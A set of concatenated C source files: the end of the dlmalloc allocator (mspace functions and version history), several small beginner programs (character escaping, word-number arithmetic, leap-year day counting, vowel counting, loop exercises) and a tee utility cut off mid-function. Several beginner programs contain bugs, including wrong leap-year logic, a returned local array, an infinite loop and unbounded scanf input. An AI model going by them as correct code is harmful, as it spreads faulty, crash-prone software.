if (tbase != CMFAIL) { m = init_user_mstate(tbase, tsize); m->seg.sflags = USE_MMAP_BIT; set_lock(m, locked); } } return (mspace)m; } mspace create_mspace_with_base(void* base, size_t capacity, int locked) { mstate m = 0; size_t msize; ensure_initialization(); msize = pad_request(sizeof(struct malloc_state)); if (capacity > msize + TOP_FOOT_SIZE && capacity < (size_t) -(msize + TOP_FOOT_SIZE + mparams.page_size)) { m = init_user_mstate((char*)base, capacity); m->seg.sflags = EXTERN_BIT; set_lock(m, locked); } return (mspace)m; } int mspace_track_large_chunks(mspace msp, int enable) { int ret = 0; mstate ms = (mstate)msp; if (!PREACTION(ms)) { if (!use_mmap(ms)) { ret = 1; } if (!enable) { enable_mmap(ms); } else { disable_mmap(ms); } POSTACTION(ms); } return ret; } size_t destroy_mspace(mspace msp) { size_t freed = 0; mstate ms = (mstate)msp; if (ok_magic(ms)) { msegmentptr sp = &ms->seg; (void)DESTROY_LOCK(&ms->mutex); /* destroy before unmapped */ while (sp != 0) { char* base = sp->base; size_t size = sp->size; flag_t flag = sp->sflags; (void)base; /* placate people compiling -Wunused-variable */ sp = sp->next; if ((flag & USE_MMAP_BIT) && !(flag & EXTERN_BIT) && CALL_MUNMAP(base, size) == 0) freed += size; } } else { USAGE_ERROR_ACTION(ms,ms); } return freed; } /* mspace versions of routines are near-clones of the global versions. This is not so nice but better than the alternatives. */ void* mspace_malloc(mspace msp, size_t bytes) { mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } if (!PREACTION(ms)) { void* mem; size_t nb; if (bytes <= MAX_SMALL_REQUEST) { bindex_t idx; binmap_t smallbits; nb = (bytes < MIN_REQUEST)? MIN_CHUNK_SIZE : pad_request(bytes); idx = small_index(nb); smallbits = ms->smallmap >> idx; if ((smallbits & 0x3U) != 0) { /* Remainderless fit to a smallbin. */ mchunkptr b, p; idx += ~smallbits & 1; /* Uses next bin if idx empty */ b = smallbin_at(ms, idx); p = b->fd; assert(chunksize(p) == small_index2size(idx)); unlink_first_small_chunk(ms, b, p, idx); set_inuse_and_pinuse(ms, p, small_index2size(idx)); mem = chunk2mem(p); check_malloced_chunk(ms, mem, nb); goto postaction; } else if (nb > ms->dvsize) { if (smallbits != 0) { /* Use chunk in next nonempty smallbin */ mchunkptr b, p, r; size_t rsize; bindex_t i; binmap_t leftbits = (smallbits << idx) & left_bits(idx2bit(idx)); binmap_t leastbit = least_bit(leftbits); compute_bit2idx(leastbit, i); b = smallbin_at(ms, i); p = b->fd; assert(chunksize(p) == small_index2size(i)); unlink_first_small_chunk(ms, b, p, i); rsize = small_index2size(i) - nb; /* Fit here cannot be remainderless if 4byte sizes */ if (SIZE_T_SIZE != 4 && rsize < MIN_CHUNK_SIZE) set_inuse_and_pinuse(ms, p, small_index2size(i)); else { set_size_and_pinuse_of_inuse_chunk(ms, p, nb); r = chunk_plus_offset(p, nb); set_size_and_pinuse_of_free_chunk(r, rsize); replace_dv(ms, r, rsize); } mem = chunk2mem(p); check_malloced_chunk(ms, mem, nb); goto postaction; } else if (ms->treemap != 0 && (mem = tmalloc_small(ms, nb)) != 0) { check_malloced_chunk(ms, mem, nb); goto postaction; } } } else if (bytes >= MAX_REQUEST) nb = MAX_SIZE_T; /* Too big to allocate. Force failure (in sys alloc) */ else { nb = pad_request(bytes); if (ms->treemap != 0 && (mem = tmalloc_large(ms, nb)) != 0) { check_malloced_chunk(ms, mem, nb); goto postaction; } } if (nb <= ms->dvsize) { size_t rsize = ms->dvsize - nb; mchunkptr p = ms->dv; if (rsize >= MIN_CHUNK_SIZE) { /* split dv */ mchunkptr r = ms->dv = chunk_plus_offset(p, nb); ms->dvsize = rsize; set_size_and_pinuse_of_free_chunk(r, rsize); set_size_and_pinuse_of_inuse_chunk(ms, p, nb); } else { /* exhaust dv */ size_t dvs = ms->dvsize; ms->dvsize = 0; ms->dv = 0; set_inuse_and_pinuse(ms, p, dvs); } mem = chunk2mem(p); check_malloced_chunk(ms, mem, nb); goto postaction; } else if (nb < ms->topsize) { /* Split top */ size_t rsize = ms->topsize -= nb; mchunkptr p = ms->top; mchunkptr r = ms->top = chunk_plus_offset(p, nb); r->head = rsize | PINUSE_BIT; set_size_and_pinuse_of_inuse_chunk(ms, p, nb); mem = chunk2mem(p); check_top_chunk(ms, ms->top); check_malloced_chunk(ms, mem, nb); goto postaction; } mem = sys_alloc(ms, nb); postaction: POSTACTION(ms); return mem; } return 0; } void mspace_free(mspace msp, void* mem) { if (mem != 0) { mchunkptr p = mem2chunk(mem); #if FOOTERS mstate fm = get_mstate_for(p); (void)msp; /* placate people compiling -Wunused */ #else /* FOOTERS */ mstate fm = (mstate)msp; #endif /* FOOTERS */ if (!ok_magic(fm)) { USAGE_ERROR_ACTION(fm, p); return; } if (!PREACTION(fm)) { check_inuse_chunk(fm, p); if (RTCHECK(ok_address(fm, p) && ok_inuse(p))) { size_t psize = chunksize(p); mchunkptr next = chunk_plus_offset(p, psize); if (!pinuse(p)) { size_t prevsize = p->prev_foot; if (is_mmapped(p)) { psize += prevsize + MMAP_FOOT_PAD; if (CALL_MUNMAP((char*)p - prevsize, psize) == 0) fm->footprint -= psize; goto postaction; } else { mchunkptr prev = chunk_minus_offset(p, prevsize); psize += prevsize; p = prev; if (RTCHECK(ok_address(fm, prev))) { /* consolidate backward */ if (p != fm->dv) { unlink_chunk(fm, p, prevsize); } else if ((next->head & INUSE_BITS) == INUSE_BITS) { fm->dvsize = psize; set_free_with_pinuse(p, psize, next); goto postaction; } } else goto erroraction; } } if (RTCHECK(ok_next(p, next) && ok_pinuse(next))) { if (!cinuse(next)) { /* consolidate forward */ if (next == fm->top) { size_t tsize = fm->topsize += psize; fm->top = p; p->head = tsize | PINUSE_BIT; if (p == fm->dv) { fm->dv = 0; fm->dvsize = 0; } if (should_trim(fm, tsize)) sys_trim(fm, 0); goto postaction; } else if (next == fm->dv) { size_t dsize = fm->dvsize += psize; fm->dv = p; set_size_and_pinuse_of_free_chunk(p, dsize); goto postaction; } else { size_t nsize = chunksize(next); psize += nsize; unlink_chunk(fm, next, nsize); set_size_and_pinuse_of_free_chunk(p, psize); if (p == fm->dv) { fm->dvsize = psize; goto postaction; } } } else set_free_with_pinuse(p, psize, next); if (is_small(psize)) { insert_small_chunk(fm, p, psize); check_free_chunk(fm, p); } else { tchunkptr tp = (tchunkptr)p; insert_large_chunk(fm, tp, psize); check_free_chunk(fm, p); if (--fm->release_checks == 0) release_unused_segments(fm); } goto postaction; } } erroraction: USAGE_ERROR_ACTION(fm, p); postaction: POSTACTION(fm); } } } void* mspace_calloc(mspace msp, size_t n_elements, size_t elem_size) { void* mem; size_t req = 0; mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } if (n_elements != 0) { req = n_elements * elem_size; if (((n_elements | elem_size) & ~(size_t)0xffff) && (req / n_elements != elem_size)) req = MAX_SIZE_T; /* force downstream failure on overflow */ } mem = internal_malloc(ms, req); if (mem != 0 && calloc_must_clear(mem2chunk(mem))) memset(mem, 0, req); return mem; } void* mspace_realloc(mspace msp, void* oldmem, size_t bytes) { void* mem = 0; if (oldmem == 0) { mem = mspace_malloc(msp, bytes); } else if (bytes >= MAX_REQUEST) { MALLOC_FAILURE_ACTION; } #ifdef REALLOC_ZERO_BYTES_FREES else if (bytes == 0) { mspace_free(msp, oldmem); } #endif /* REALLOC_ZERO_BYTES_FREES */ else { size_t nb = request2size(bytes); mchunkptr oldp = mem2chunk(oldmem); #if ! FOOTERS mstate m = (mstate)msp; #else /* FOOTERS */ mstate m = get_mstate_for(oldp); if (!ok_magic(m)) { USAGE_ERROR_ACTION(m, oldmem); return 0; } #endif /* FOOTERS */ if (!PREACTION(m)) { mchunkptr newp = try_realloc_chunk(m, oldp, nb, 1); POSTACTION(m); if (newp != 0) { check_inuse_chunk(m, newp); mem = chunk2mem(newp); } else { mem = mspace_malloc(m, bytes); if (mem != 0) { size_t oc = chunksize(oldp) - overhead_for(oldp); memcpy(mem, oldmem, (oc < bytes)? oc : bytes); mspace_free(m, oldmem); } } } } return mem; } void* mspace_realloc_in_place(mspace msp, void* oldmem, size_t bytes) { void* mem = 0; if (oldmem != 0) { if (bytes >= MAX_REQUEST) { MALLOC_FAILURE_ACTION; } else { size_t nb = request2size(bytes); mchunkptr oldp = mem2chunk(oldmem); #if ! FOOTERS mstate m = (mstate)msp; #else /* FOOTERS */ mstate m = get_mstate_for(oldp); (void)msp; /* placate people compiling -Wunused */ if (!ok_magic(m)) { USAGE_ERROR_ACTION(m, oldmem); return 0; } #endif /* FOOTERS */ if (!PREACTION(m)) { mchunkptr newp = try_realloc_chunk(m, oldp, nb, 0); POSTACTION(m); if (newp == oldp) { check_inuse_chunk(m, newp); mem = oldmem; } } } } return mem; } void* mspace_memalign(mspace msp, size_t alignment, size_t bytes) { mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } if (alignment <= MALLOC_ALIGNMENT) return mspace_malloc(msp, bytes); return internal_memalign(ms, alignment, bytes); } void** mspace_independent_calloc(mspace msp, size_t n_elements, size_t elem_size, void* chunks[]) { size_t sz = elem_size; /* serves as 1-element array */ mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } return ialloc(ms, n_elements, &sz, 3, chunks); } void** mspace_independent_comalloc(mspace msp, size_t n_elements, size_t sizes[], void* chunks[]) { mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } return ialloc(ms, n_elements, sizes, 0, chunks); } size_t mspace_bulk_free(mspace msp, void* array[], size_t nelem) { return internal_bulk_free((mstate)msp, array, nelem); } #if MALLOC_INSPECT_ALL void mspace_inspect_all(mspace msp, void(*handler)(void *start, void *end, size_t used_bytes, void* callback_arg), void* arg) { mstate ms = (mstate)msp; if (ok_magic(ms)) { if (!PREACTION(ms)) { internal_inspect_all(ms, handler, arg); POSTACTION(ms); } } else { USAGE_ERROR_ACTION(ms,ms); } } #endif /* MALLOC_INSPECT_ALL */ int mspace_trim(mspace msp, size_t pad) { int result = 0; mstate ms = (mstate)msp; if (ok_magic(ms)) { if (!PREACTION(ms)) { result = sys_trim(ms, pad); POSTACTION(ms); } } else { USAGE_ERROR_ACTION(ms,ms); } return result; } #if !NO_MALLOC_STATS void mspace_malloc_stats(mspace msp) { mstate ms = (mstate)msp; if (ok_magic(ms)) { internal_malloc_stats(ms); } else { USAGE_ERROR_ACTION(ms,ms); } } #endif /* NO_MALLOC_STATS */ size_t mspace_footprint(mspace msp) { size_t result = 0; mstate ms = (mstate)msp; if (ok_magic(ms)) { result = ms->footprint; } else { USAGE_ERROR_ACTION(ms,ms); } return result; } size_t mspace_max_footprint(mspace msp) { size_t result = 0; mstate ms = (mstate)msp; if (ok_magic(ms)) { result = ms->max_footprint; } else { USAGE_ERROR_ACTION(ms,ms); } return result; } size_t mspace_footprint_limit(mspace msp) { size_t result = 0; mstate ms = (mstate)msp; if (ok_magic(ms)) { size_t maf = ms->footprint_limit; result = (maf == 0) ? MAX_SIZE_T : maf; } else { USAGE_ERROR_ACTION(ms,ms); } return result; } size_t mspace_set_footprint_limit(mspace msp, size_t bytes) { size_t result = 0; mstate ms = (mstate)msp; if (ok_magic(ms)) { if (bytes == 0) result = granularity_align(1); /* Use minimal size */ if (bytes == MAX_SIZE_T) result = 0; /* disable */ else result = granularity_align(bytes); ms->footprint_limit = result; } else { USAGE_ERROR_ACTION(ms,ms); } return result; } #if !NO_MALLINFO struct mallinfo mspace_mallinfo(mspace msp) { mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); } return internal_mallinfo(ms); } #endif /* NO_MALLINFO */ size_t mspace_usable_size(const void* mem) { if (mem != 0) { mchunkptr p = mem2chunk(mem); if (is_inuse(p)) return chunksize(p) - overhead_for(p); } return 0; } int mspace_mallopt(int param_number, int value) { return change_mparam(param_number, value); } #endif /* MSPACES */ /* -------------------- Alternative MORECORE functions ------------------- */ /* Guidelines for creating a custom version of MORECORE: * For best performance, MORECORE should allocate in multiples of pagesize. * MORECORE may allocate more memory than requested. (Or even less, but this will usually result in a malloc failure.) * MORECORE must not allocate memory when given argument zero, but instead return one past the end address of memory from previous nonzero call. * For best performance, consecutive calls to MORECORE with positive arguments should return increasing addresses, indicating that space has been contiguously extended. * Even though consecutive calls to MORECORE need not return contiguous addresses, it must be OK for malloc'ed chunks to span multiple regions in those cases where they do happen to be contiguous. * MORECORE need not handle negative arguments -- it may instead just return MFAIL when given negative arguments. Negative arguments are always multiples of pagesize. MORECORE must not misinterpret negative args as large positive unsigned args. You can suppress all such calls from even occurring by defining MORECORE_CANNOT_TRIM, As an example alternative MORECORE, here is a custom allocator kindly contributed for pre-OSX macOS. It uses virtually but not necessarily physically contiguous non-paged memory (locked in, present and won't get swapped out). You can use it by uncommenting this section, adding some #includes, and setting up the appropriate defines above: #define MORECORE osMoreCore There is also a shutdown routine that should somehow be called for cleanup upon program exit. #define MAX_POOL_ENTRIES 100 #define MINIMUM_MORECORE_SIZE (64 * 1024U) static int next_os_pool; void *our_os_pools[MAX_POOL_ENTRIES]; void *osMoreCore(int size) { void *ptr = 0; static void *sbrk_top = 0; if (size > 0) { if (size < MINIMUM_MORECORE_SIZE) size = MINIMUM_MORECORE_SIZE; if (CurrentExecutionLevel() == kTaskLevel) ptr = PoolAllocateResident(size + RM_PAGE_SIZE, 0); if (ptr == 0) { return (void *) MFAIL; } // save ptrs so they can be freed during cleanup our_os_pools[next_os_pool] = ptr; next_os_pool++; ptr = (void *) ((((size_t) ptr) + RM_PAGE_MASK) & ~RM_PAGE_MASK); sbrk_top = (char *) ptr + size; return ptr; } else if (size < 0) { // we don't currently support shrink behavior return (void *) MFAIL; } else { return sbrk_top; } } // cleanup any allocated memory pools // called as last thing before shutting down driver void osCleanupMem(void) { void **ptr; for (ptr = our_os_pools; ptr < &our_os_pools[MAX_POOL_ENTRIES]; ptr++) if (*ptr) { PoolDeallocate(*ptr); *ptr = 0; } } */ /* ----------------------------------------------------------------------- History: v2.8.6 Wed Aug 29 06:57:58 2012 Doug Lea * fix bad comparison in dlposix_memalign * don't reuse adjusted asize in sys_alloc * add LOCK_AT_FORK -- thanks to Kirill Artamonov for the suggestion * reduce compiler warnings -- thanks to all who reported/suggested these v2.8.5 Sun May 22 10:26:02 2011 Doug Lea (dl at gee) * Always perform unlink checks unless INSECURE * Add posix_memalign. * Improve realloc to expand in more cases; expose realloc_in_place. Thanks to Peter Buhr for the suggestion. * Add footprint_limit, inspect_all, bulk_free. Thanks to Barry Hayes and others for the suggestions. * Internal refactorings to avoid calls while holding locks * Use non-reentrant locks by default. Thanks to Roland McGrath for the suggestion. * Small fixes to mspace_destroy, reset_on_error. * Various configuration extensions/changes. Thanks to all who contributed these. V2.8.4a Thu Apr 28 14:39:43 2011 (dl at gee.cs.oswego.edu) * Update Creative Commons URL V2.8.4 Wed May 27 09:56:23 2009 Doug Lea (dl at gee) * Use zeros instead of prev foot for is_mmapped * Add mspace_track_large_chunks; thanks to Jean Brouwers * Fix set_inuse in internal_realloc; thanks to Jean Brouwers * Fix insufficient sys_alloc padding when using 16byte alignment * Fix bad error check in mspace_footprint * Adaptations for ptmalloc; thanks to Wolfram Gloger. * Reentrant spin locks; thanks to Earl Chew and others * Win32 improvements; thanks to Niall Douglas and Earl Chew * Add NO_SEGMENT_TRAVERSAL and MAX_RELEASE_CHECK_RATE options * Extension hook in malloc_state * Various small adjustments to reduce warnings on some compilers * Various configuration extensions/changes for more platforms. Thanks to all who contributed these. V2.8.3 Thu Sep 22 11:16:32 2005 Doug Lea (dl at gee) * Add max_footprint functions * Ensure all appropriate literals are size_t * Fix conditional compilation problem for some #define settings * Avoid concatenating segments with the one provided in create_mspace_with_base * Rename some variables to avoid compiler shadowing warnings * Use explicit lock initialization. * Better handling of sbrk interference. * Simplify and fix segment insertion, trimming and mspace_destroy * Reinstate REALLOC_ZERO_BYTES_FREES option from 2.7.x * Thanks especially to Dennis Flanagan for help on these. V2.8.2 Sun Jun 12 16:01:10 2005 Doug Lea (dl at gee) * Fix memalign brace error. V2.8.1 Wed Jun 8 16:11:46 2005 Doug Lea (dl at gee) * Fix improper #endif nesting in C++ * Add explicit casts needed for C++ V2.8.0 Mon May 30 14:09:02 2005 Doug Lea (dl at gee) * Use trees for large bins * Support mspaces * Use segments to unify sbrk-based and mmap-based system allocation, removing need for emulation on most platforms without sbrk. * Default safety checks * Optional footer checks. Thanks to William Robertson for the idea. * Internal code refactoring * Incorporate suggestions and platform-specific changes. Thanks to Dennis Flanagan, Colin Plumb, Niall Douglas, Aaron Bachmann, Emery Berger, and others. * Speed up non-fastbin processing enough to remove fastbins. * Remove useless cfree() to avoid conflicts with other apps. * Remove internal memcpy, memset. Compilers handle builtins better. * Remove some options that no one ever used and rename others. V2.7.2 Sat Aug 17 09:07:30 2002 Doug Lea (dl at gee) * Fix malloc_state bitmap array misdeclaration V2.7.1 Thu Jul 25 10:58:03 2002 Doug Lea (dl at gee) * Allow tuning of FIRST_SORTED_BIN_SIZE * Use PTR_UINT as type for all ptr->int casts. Thanks to John Belmonte. * Better detection and support for non-contiguousness of MORECORE. Thanks to Andreas Mueller, Conal Walsh, and Wolfram Gloger * Bypass most of malloc if no frees. Thanks To Emery Berger. * Fix freeing of old top non-contiguous chunk im sysmalloc. * Raised default trim and map thresholds to 256K. * Fix mmap-related #defines. Thanks to Lubos Lunak. * Fix copy macros; added LACKS_FCNTL_H. Thanks to Neal Walfield. * Branch-free bin calculation * Default trim and mmap thresholds now 256K. V2.7.0 Sun Mar 11 14:14:06 2001 Doug Lea (dl at gee) * Introduce independent_comalloc and independent_calloc. Thanks to Michael Pachos for motivation and help. * Make optional .h file available * Allow > 2GB requests on 32bit systems. * new WIN32 sbrk, mmap, munmap, lock code from <[email protected]>. Thanks also to Andreas Mueller <a.mueller at paradatec.de>, and Anonymous. * Allow override of MALLOC_ALIGNMENT (Thanks to Ruud Waij for helping test this.) * memalign: check alignment arg * realloc: don't try to shift chunks backwards, since this leads to more fragmentation in some programs and doesn't seem to help in any others. * Collect all cases in malloc requiring system memory into sysmalloc * Use mmap as backup to sbrk * Place all internal state in malloc_state * Introduce fastbins (although similar to 2.5.1) * Many minor tunings and cosmetic improvements * Introduce USE_PUBLIC_MALLOC_WRAPPERS, USE_MALLOC_LOCK * Introduce MALLOC_FAILURE_ACTION, MORECORE_CONTIGUOUS Thanks to Tony E. Bennett <[email protected]> and others. * Include errno.h to support default failure action. V2.6.6 Sun Dec 5 07:42:19 1999 Doug Lea (dl at gee) * return null for negative arguments * Added Several WIN32 cleanups from Martin C. Fong <mcfong at yahoo.com> * Add 'LACKS_SYS_PARAM_H' for those systems without 'sys/param.h' (e.g. WIN32 platforms) * Cleanup header file inclusion for WIN32 platforms * Cleanup code to avoid Microsoft Visual C++ compiler complaints * Add 'USE_DL_PREFIX' to quickly allow co-existence with existing memory allocation routines * Set 'malloc_getpagesize' for WIN32 platforms (needs more work) * Use 'assert' rather than 'ASSERT' in WIN32 code to conform to usage of 'assert' in non-WIN32 code * Improve WIN32 'sbrk()' emulation's 'findRegion()' routine to avoid infinite loop * Always call 'fREe()' rather than 'free()' V2.6.5 Wed Jun 17 15:57:31 1998 Doug Lea (dl at gee) * Fixed ordering problem with boundary-stamping V2.6.3 Sun May 19 08:17:58 1996 Doug Lea (dl at gee) * Added pvalloc, as recommended by H.J. Liu * Added 64bit pointer support mainly from Wolfram Gloger * Added anonymously donated WIN32 sbrk emulation * Malloc, calloc, getpagesize: add optimizations from Raymond Nijssen * malloc_extend_top: fix mask error that caused wastage after foreign sbrks * Add linux mremap support code from HJ Liu V2.6.2 Tue Dec 5 06:52:55 1995 Doug Lea (dl at gee) * Integrated most documentation with the code. * Add support for mmap, with help from Wolfram Gloger ([email protected]). * Use last_remainder in more cases. * Pack bins using idea from [email protected] * Use ordered bins instead of best-fit threshhold * Eliminate block-local decls to simplify tracing and debugging. * Support another case of realloc via move into top * Fix error occuring when initial sbrk_base not word-aligned. * Rely on page size for units instead of SBRK_UNIT to avoid surprises about sbrk alignment conventions. * Add mallinfo, mallopt. Thanks to Raymond Nijssen ([email protected]) for the suggestion. * Add `pad' argument to malloc_trim and top_pad mallopt parameter. * More precautions for cases where other routines call sbrk, courtesy of Wolfram Gloger ([email protected]). * Added macros etc., allowing use in linux libc from H.J. Lu ([email protected]) * Inverted this history list V2.6.1 Sat Dec 2 14:10:57 1995 Doug Lea (dl at gee) * Re-tuned and fixed to behave more nicely with V2.6.0 changes. * Removed all preallocation code since under current scheme the work required to undo bad preallocations exceeds the work saved in good cases for most test programs. * No longer use return list or unconsolidated bins since no scheme using them consistently outperforms those that don't given above changes. * Use best fit for very large chunks to prevent some worst-cases. * Added some support for debugging V2.6.0 Sat Nov 4 07:05:23 1995 Doug Lea (dl at gee) * Removed footers when chunks are in use. Thanks to Paul Wilson ([email protected]) for the suggestion. V2.5.4 Wed Nov 1 07:54:51 1995 Doug Lea (dl at gee) * Added malloc_trim, with help from Wolfram Gloger ([email protected]). V2.5.3 Tue Apr 26 10:16:01 1994 Doug Lea (dl at g) V2.5.2 Tue Apr 5 16:20:40 1994 Doug Lea (dl at g) * realloc: try to expand in both directions * malloc: swap order of clean-bin strategy; * realloc: only conditionally expand backwards * Try not to scavenge used bins * Use bin counts as a guide to preallocation * Occasionally bin return list chunks in first scan * Add a few optimizations from [email protected] V2.5.1 Sat Aug 14 15:40:43 1993 Doug Lea (dl at g) * faster bin computation & slightly different binning * merged all consolidations to one part of malloc proper (eliminating old malloc_find_space & malloc_clean_bin) * Scan 2 returns chunks (not just 1) * Propagate failure in realloc if malloc returns 0 * Add stuff to allow compilation on non-ANSI compilers from [email protected] V2.5 Sat Aug 7 07:41:59 1993 Doug Lea (dl at g.oswego.edu) * removed potential for odd address access in prev_chunk * removed dependency on getpagesize.h * misc cosmetics and a bit more internal documentation * anticosmetics: mangled names in macros to evade debugger strangeness * tested on sparc, hp-700, dec-mips, rs6000 with gcc & native cc (hp, dec only) allowing Detlefs & Zorn comparison study (in SIGPLAN Notices.) Trial version Fri Aug 28 13:14:29 1992 Doug Lea (dl at g.oswego.edu) * Based loosely on libg++-1.2X malloc. (It retains some of the overall structure of old version, but most details differ.) */
the_stack_data/405007.c
#include <stdio.h> main() { int c; while(( c = getchar ()) != EOF) { if(c == '\t') printf( "\\t" ); else if(c=='\n') printf("\\n"); else if(c=='\b') printf("\\b"); else putchar(c); } }
the_stack_data/898782.c
#include <stdio.h> #define MAX (26) #define INVALID (-1) #define MAX_BUFFER (1024) char* map[] = { "zero", "one", "two", "three", "four", "five", "six", "seven", "eight", "nine", "ten" }; int map_table[sizeof(map) / sizeof(char *)][MAX + 1]; int num_table[MAX + 1]; char num1[MAX_BUFFER]; char num2[MAX_BUFFER]; char ans[MAX_BUFFER]; int get_number(char *num) { int i, j; for (i = 0; i < MAX; ++i) num_table[i] = 0; for (i = 0; num[i] != '\0'; ++i) ++num_table[num[i] - 'a']; for (i = 0; i < (sizeof(map) / sizeof(char *)); ++i) { for (j = 0; (j < MAX) && (map_table[i][j] == num_table[j]); ++j); if (j == MAX) return i; } return INVALID; } int main(void) { int tc, T; int i, j, k, answer; char op; for (i = 0; i < (sizeof(map) / sizeof(char *)); ++i) { for (j = 0; j < MAX; ++j) map_table[i][j] = 0; for (j = 0; map[i][j] != '\0'; ++j) ++map_table[i][map[i][j] - 'a']; } // freopen("sample_input.txt", "r", stdin); setbuf(stdout, NULL); scanf("%d", &T); for (tc = 0; tc < T; ++tc) { scanf("%s %c %s = %s\n", num1, &op, num2, &ans); j = get_number(num1); k = get_number(num2); answer = get_number(ans); if ((answer < 0) || (answer > 10)) { printf("No\n"); } else { switch (op) { case '+' : i = j + k; break; case '/' : i = j / k; break; case '*' : i = j * k; break; case '-' : i = j - k; break; } if (i == answer) printf("Yes\n"); else printf("No\n"); } } return 0; }
the_stack_data/48575901.c
#include <stdio.h> int isrunnian(int y) { if (y / 100 && y % 4 == 0 || y / 400 == 0) return 1; else return 0; } int daynum(int y, int m, int d) { int daymax[13] = {0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; if (isrunnian(y)) daymax[2] = 29; int day = 0; for (int i = m - 1; i; i--) day += daymax[i]; return day + d; } int main() { int y, m, d; printf("请输入年:"); scanf("%d", &y); printf("请输入月:"); scanf("%d", &m); printf("请输入日:"); scanf("%d", &d); if (isrunnian(y)) printf("这是个闰年\n"); else printf("这不是闰年\n"); printf("今年一共过了%d天\n", daynum(y, m, d)); }
the_stack_data/70449648.c
#include <string.h> #include <stdio.h> int count_vowels(char A[]) { int i, n, count; n = strlen(A); count = 0; for(i = 0; i <= n; i++){ if(A[i] == 'a' || A[i] == 'e' || A[i] == 'i' || A[i] == 'o' || A[i] == 'u' || A[i] == 'A' || A[i] == 'E' || A[i] == 'I'|| A[i] == 'O' || A[i] == 'U') { count++; } } return count; } char* BS(char A[]){ char sol[50]; int i, j; int n = strlen(A); for(i = 0; i < n; i++) { if(A[i] == 'a' || A[i] == 'e' || A[i] == 'i' || A[i] == 'o' || A[i] == 'u' || A[i] == 'A' || A[i] == 'E' || A[i] == 'I'|| A[i] == 'O' || A[i] == 'U') { } else {} } return sol; } int main() { int num; char A[] = "Hello Worldi"; num = count_vowels(A); printf("The number of vowels in the given string is: %d", num); }
the_stack_data/43367.c
#include <stdio.h> void act1(void) { for (int x = 100; x >= 1; x++) { printf("%d\n", x); } } void act2(void) { int value; switch (value % 2) { case 0: printf("Even integer\n"); break; case 1: printf("Odd integer\n"); } } void act3(void) { int intVal; scanf("%d", &intVal); char charVal = getchar(); printf("Integer: %d\nCharacter: %c", intVal, charVal); } void act4(void) { for (float x = .000001; x == .0001; x += .000001) { printf("%.7f\n", x); } } void act5(void) { for ( int x = 999; x >= 1; x -= 2 ) { printf( "%d\n", x ); } } void act6(void) { int counter = 2; do { if ( counter % 2 == 0 ) { printf( "%d\n", counter ); } counter += 2; //If we increment by two units we dont really need the if clause! } while ( counter <= 100 ); } void act7(void) { int total = 0; for ( int x = 100; x <= 150; x++ ) { total += x; } printf("Total: %d\n", total); }
the_stack_data/64421.c
/* * tee - pipe fitting * * Gunnar Ritter, Freiburg i. Br., Germany, August 2002. */ /* * Copyright (c) 2003 Gunnar Ritter * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * * Permission is granted to anyone to use this software for any purpose, * including commercial applications, and to alter it and redistribute * it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you must not * claim that you wrote the original software. If you use this software * in a product, an acknowledgment in the product documentation would be * appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and must not be * misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source distribution. */ #if __GNUC__ >= 3 && __GNUC_MINOR__ >= 4 || __GNUC__ >= 4 #define USED __attribute__ ((used)) #elif defined __GNUC__ #define USED __attribute__ ((unused)) #else #define USED #endif static const char sccsid[] USED = "@(#)tee.sl 1.10 (gritter) 5/29/05"; #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <libgen.h> #include <signal.h> #include <limits.h> struct file { struct file *f_nxt; const char *f_nam; int f_fd; }; static unsigned errcnt; /* count of errors */ static char *progname; /* argv[0] to main() */ static struct file *f0; /* files to write to */ static int totty; /* any output file is a tty */ static void * srealloc(void *vp, size_t nbytes) { void *p; if ((p = (void *)realloc(vp, nbytes)) == NULL) { write(2, "no memory\n", 10); exit(077); } return p; } static void * smalloc(size_t nbytes) { return srealloc(NULL, nbytes); } static void usage(void) { fprintf(stderr, "usage: %s [ -i ] [ -a ] [file ] ...\n", progname); exit(2); } static int copyto(struct file *f, char *data, ssize_t size) { ssize_t wo, wt; wt = 0; do { if ((wo = write(f->f_fd, data + wt, size - wt)) < 0) { fprintf(stderr, "%s: write error on %s: %s\n", progname, f->f_nam, strerror(errno)); return 4; } wt += wo; } while (wt < size); return 0; } static void copy(void) { struct stat st; struct file *f; char *buf; size_t bufsize; ssize_t rsz; if (fstat(0, &st) < 0) { fprintf(stderr, "%s: cannot stat() standard input\n", progname); errcnt |= 010; return; } bufsize = totty ? 512 : st.st_blksize < 512 ? 512 : st.st_blksize > 32768 ? 32768 : st.st_blksize; buf = smalloc(bufsize); while ((rsz = read(0, buf, bufsize)) > 0) for (f = f0; f; f = f->f_nxt) errcnt |= copyto(f, buf, rsz); if (rsz < 0) { fprintf(stderr, "%s: read error on standard input: %s\n", progname, strerror(errno)); errcnt |= 020; } } static int make(const char *fn, mode_t mode, int fd) { struct file *f; if (fd < 0 && (fd = open(fn, mode, 0666)) < 0) { fprintf(stderr, "%s: cannot open %s\n", progname, fn); return 1; } if (totty == 0 && isatty(fd)) totty = 1; f = smalloc(sizeof *f); f->f_nam = fn; f->f_fd = fd; f->f_nxt = f0; f0 = f; return 0; } int main(int argc, char **argv) { struct file *f; int i; mode_t mode = O_WRONLY|O_CREAT|O_TRUNC; #ifdef __GLIBC__ putenv("POSIXLY_CORRECT=1"); #endif progname = basename(argv[0]); while ((i = getopt(argc, argv, "ai")) != EOF) { switch (i) { case 'a': mode = O_WRONLY|O_CREAT|O_APPEND; break; case 'i': signal(SIGINT, SIG_IGN); break; default: usage(); } } for (i = optind; i < argc; i++) errcnt |= make(argv[i], mode, -1); errcnt |= make("standard output", mode, 1); copy(); for (f = f0; f; f = f->f_nxt) { if (f->f_fd != 1) { if (close(f->f_fd) < 0) { fprintf(stderr, 